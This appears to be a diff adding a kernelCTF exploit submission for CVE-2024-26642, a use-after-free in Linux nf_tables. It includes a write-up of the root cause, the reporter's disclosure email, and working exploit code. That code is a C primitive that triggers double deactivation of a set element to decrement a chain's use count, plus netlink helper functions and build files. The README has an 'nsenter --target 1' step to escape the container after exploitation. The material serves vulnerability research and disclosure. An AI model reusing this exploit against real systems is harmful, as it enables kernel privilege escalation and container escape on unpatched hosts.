Add kernelCTF CVE-2024-26642_mitigation

pocs/linux/kernelctf/CVE-2024-26642_mitigation/docs/exploit.md

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+# Exploit detail about CVE-2024-26642
+If you want to get some base information about CVE-2024-26642, please read [vulnerability.md](./vulnerability.md) first.
+
+## Background
+nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem.
+
+It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft.
+
+nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`.
+
+## Some additional stories
+After reading `vulnerability.md` or `cause analysis`, you may wonder why the root cause and patch do not seem to match. I can only talk about the vulnerability reporting process for this question.
+I sent a vulnerability report to [email protected] at 2024.2.29 13:33: 
+``` 
+Hi, I've found a new vulnerability in Linux netfilter/nftable subsystem. In the function nf_tables_deactivate_set, it does not set "set->dead = 1". This makes it possible to call nft_setelem_data_deactivate with a set element more than once by following this step: 
+1. Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS. 
+2. Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION. 
+3. Create a chain. 
+4. Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1. 
+5. Delete the chain And finally nft_setelem_data_deactivate will be called for the same set element both in nft_map_deactivate and in function pipapo_gc.
+
+Attachment is the poc I wrote for this vulnerability, which leaks some kernel pointers. I tested it on linux 6.1.78.
+
+Thanks,
+lonial con
+```
+The email also attached a poc I wrote based on the trigger idea (it can cause the latest kernel at that time to produce crahs). I did not receive any reply emails afterwards.
+On 2024.3.5, I noticed that the maintainer of netfilter pushed a patch to netfilter (https://patchwork.ozlabs.org/project/netfilter-devel/patch/[email protected]/). He pushed the corresponding patch without asking for any opinion from me.
+
+The patch did make my poc not work, but this patch did not fix the core of the problem `set->dead = 1`. Therefore, I added two patch commits to `vulnerability.md`.
+
+## Cause anaylysis
+
+In the function nf_tables_deactivate_set, it does not set "set->dead = 1". This makes it possible to call nft_setelem_data_deactivate with a set element more than once by following this step:
+
+1. Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS.
+2. Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION.
+3. Create a chain.
+4. Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1.
+5. Delete the chain
+
+After you send these commands in a message list, when you reach step 5 `delete the chain`, the following call chain will occur:
+```
+nf_tables_delchain -> nft_delrule -> nft_rule_expr_deactivate -> (expr->ops->deactivate) -> nft_lookup_deactivate -> nf_tables_deactivate_set -> case NFT_TRANS_PREPARE: nft_map_deactivate
+```
+`nft_map_deactivate` will eventually call `nft_setelem_data_deactivate` for all set elements in the set.
+
+But at the same time, after all commands are executed, nftable will also call `nf_tables_commit`, which triggers another call chain:
+
+```
+nf_tables_commit -> (set->ops->commit) -> nft_pipapo_commit -> pipapo_gc -> nft_pipapo_gc_deactivate -> nft_setelem_data_deactivate
+```
+
+Finally, `nft_setelem_data_deactivate` will be called for elements which are timed out in the pipapo set, which may result in multiple calls to `nft_setelem_data_deactivate` for the same set element.
+
+## Triggering the vulnerability
+
+It's easy to trigger it by following this steps:
+
+- Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS.
+- Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION.
+- Create a chain.
+- Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1.
+- Delete the chain 
+
+
+## Exploit it
+
+Using CVE-2024-26642 to exploit a mitigation instance is completely different from exploiting a LTS or COS instance. But it can use the same idea as [this article](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_mitigation/docs/exploit.md). My exploit is implemented by simply modifying the exploit code [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_mitigation/exploit/mitigation-v3-6.1.55/exploit.c). This article only details the modified part of the original exploit(How to trigger the vulnerability so that chain B use count being decremented an additional time). For the content of the original exploit, please read [this article](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_mitigation/docs/exploit.md).
+
+## Primitive
+
+### Primitive_1
+I build a function named as `primitive_1` to change the nft_chain->use by triggering the vulnerabiltiy:
+
+```c
+//make target_chain->use = target_chain->use - 1
+void primitive_1(struct nl_sock *socket, char *table, char *target_chain){
+    char *pad = malloc(0x100);
+    memset(pad,0x41,0x100);
+    int i;
+    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x200);
+    char *set_name = "set for primitive1";
+    char *chain_name = "chain for primitive1";
+    char *key = malloc(0x40);
+    msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, 0x40);
+    msg_list[1] = new_chain_msg(table, chain_name, 0);
+    msg_list[2] = new_setelem_with_chain_and_expiration_msg(table, set_name, pad, 0xc0, target_chain, NULL, 0, NULL, 0, 1,0x0100000000000000);
+    msg_list[3] = new_rule_lookup_for_chain_msg(table, chain_name, set_name, 1);
+    msg_list[4] = del_chain_msg(table, chain_name);
+    char *tmp = malloc(0x40);
+    for(i=0;i<0x100;i++){
+        snprintf(tmp, 0x40, "table for primitive %d", i);
+        msg_list[5+i] = new_table_with_udata_msg(tmp, key, 0x40);
+    }
+    send_msg_list(socket, msg_list, 0x105);
+
+    free(msg_list);
+    free(pad);
+}
+```
+
+How it works:
+1. message 0: Create a pipapo set with flags `NFT_SET_TIMEOUT` and `NFT_SET_ANONYMOUS`
+2. message 1: Create a chain
+3. message 2: Create a set elements, all of which contain `NFTA_SET_ELEM_EXPIRATION` and `NFTA_SET_ELEM_TIMEOUT`.
+4. message 3: Create a rule on the chain, which contains an expr of type `lookup`. `lookup` expr can be bound to an `nft_set` when initialized, and we let it bind the pipapo set created by message[0].
+5. message 4: Delete the chain created by message 2
+6. mseesage 5 - 0x104: Create 0x100 table with `udata`. This is just to increase the number of messages to ensure that the set element created by message 2 will time out when the vulnerability is triggered.
+
+When the above message is sent, two rounds of calls to `nft_setelem_data_deactivate` for the same set element will be triggered:
+
+The first round is when executing message 4, and the following call path will be generated in the end:
+
+```c
+nf_tables_delchain -> nft_delrule -> nft_rule_expr_deactivate -> (expr->ops->deactivate) -> nft_lookup_deactivate -> nf_tables_deactivate_set -> nft_map_deactivate
+```
+
+The `nft_map_deactivate` function will call `nft_mapelem_deactivate` -> `nft_setelem_data_deactivate` for all elements in the pipapo set created by message 0.
+
+The second round is after all messages are executed, `netfilter` will call the `nf_tables_commit` function, and finally generate the calling path:
+```c
+nft_set_commit_update -> (set->ops->commit) -> nft_pipapo_commit -> pipapo_gc -> nft_pipapo_gc_deactivate -> nft_setelem_data_deactivate
+```
+The function `pipapo_gc` will also call `nft_setelem_data_deactivate` for all timeout elements in pipapo set.
+(This is why it is necessary to add `set->dead = 1` in nf_tables_deactivate_set to fix the vulnerability, because after adding this line of code, the subsequent operations will not be executed in the function nft_set_commit_update.)

pocs/linux/kernelctf/CVE-2024-26642_mitigation/docs/vulnerability.md

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+# Vulneribility
+The function `nf_tables_deactivate_set` does not set "set->dead = 1". This makes it possible to call `nft_setelem_data_deactivate` with a set element more than once.
+
+## Requirements to trigger the vulnerability
+ - Capabilities:  `CAP_NET_ADMIN` capability is required.
+ - Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES`
+ - Are user namespaces needed?: Yes
+
+## Commit which introduced the vulnerability
+ - [commit d60be2da67d172aecf866302c91ea11533eca4d9](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/netfilter/nf_tables_api.c?h=linux-6.1.y&id=d60be2da67d172aecf866302c91ea11533eca4d9)
+
+## Commit which fixed the vulnerability
+- [commit 16603605b667b70da974bea8216c93e7db043bf1](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter?id=16603605b667b70da974bea8216c93e7db043bf1)
+- [commit 552705a3650bbf46a22b1adedc1b04181490fc36](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=552705a3650bbf46a22b1adedc1b04181490fc36)
+
+## Affected kernel versions
+- 6.1.35 and later
+- 5.15.121 and later
+
+## Affected component, subsystem
+- net/netfilter (nf_tables)
+
+## Cause
+- UAF
+

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/Makefile

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+exploit:
+	gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static
+prerequisites:
+	sudo apt-get install libnl-nf-3-dev
+run:
+	./exploit
+clean:
+	rm exploit

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/README

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+Exploit for kctf mitigation-v3-6.1.55
+Run command "nsenter --target 1 -m -p" after run the poc.

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/chain.h

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+extern int cur_handle;
+void new_chain(struct nl_sock * socket, char *table_name, char *chain_name, int if_binding){
+    struct nl_msg * msg = nlmsg_alloc();
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;//NFPROTO_IPV4;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name);
+    nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name);
+    if(if_binding>0){
+	    nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING));
+    }
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+    cur_handle++;
+}
+
+struct nlmsghdr * new_chain_msg(char *table_name, char *chain_name, int if_binding){
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name);
+    nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name);
+    if(if_binding>0){
+            nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING));
+    }
+    cur_handle++;
+    return hdr2;
+}
+
+void del_chain(struct nl_sock * socket, char *table_name, char *chain_name){
+    struct nl_msg * msg = nlmsg_alloc();
+    //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;//NFPROTO_IPV4;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELCHAIN),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST
+    );
+    nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name);
+    nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name);
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    }
+}
+
+struct nlmsghdr * del_chain_msg(char *table_name, char *chain_name){
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELCHAIN),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST
+    );
+    nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name);
+    nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name);
+    return hdr2;
+}
+
+void new_chain_with_hook(struct nl_sock * socket, char *table_name, char *chain_name, int hook_num, int priority){
+    struct nl_msg * msg = nlmsg_alloc();
+    //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE);
+    struct nlmsghdr *hdr1 = nlmsg_put(
+            msg,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_BEGIN,   // TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
+    h->nfgen_family = 2;//NFPROTO_IPV4;
+    h->version = 0;
+    h->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
+
+    struct nl_msg * msg2 = nlmsg_alloc();
+    struct nlmsghdr *hdr2 = nlmsg_put(
+            msg2,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST|NLM_F_CREATE 
+    );
+    struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg));
+    h2->nfgen_family = 2;//NFPROTO_IPV4;
+    h2->version = 0;
+    h2->res_id = NFNL_SUBSYS_NFTABLES;
+    memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg));
+    struct nl_msg * msg3 = nlmsg_alloc();
+    struct nlmsghdr *hdr3 = nlmsg_put(
+            msg3,
+            NL_AUTO_PORT, // auto assign current pid
+            NL_AUTO_SEQ, // begin wit seq number 0
+            NFNL_MSG_BATCH_END,// TYPE
+            sizeof(struct nfgenmsg),
+            NLM_F_REQUEST 
+    );
+
+    struct nl_msg *hook = nlmsg_alloc();
+    nla_put_u32(hook, NFTA_HOOK_HOOKNUM, htonl(hook_num));
+    nla_put_u32(hook, NFTA_HOOK_PRIORITY, htonl(priority));
+
+
+    nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name);
+    nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name);
+    nla_put_nested(msg2, NFTA_CHAIN_HOOK, hook);
+
+
+    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
+    char *buf = malloc(total_size);
+    memset(buf,0,total_size);
+    memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len));
+    memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len));
+    int res = nl_sendto(socket, buf, total_size);
+    nlmsg_free(msg);
+    if (res < 0) {
+        fprintf(stderr, "sending message failed\n");
+    } else {
+        //printf("Create chain %s\n",chain_name);
+    }
+    cur_handle++;
+}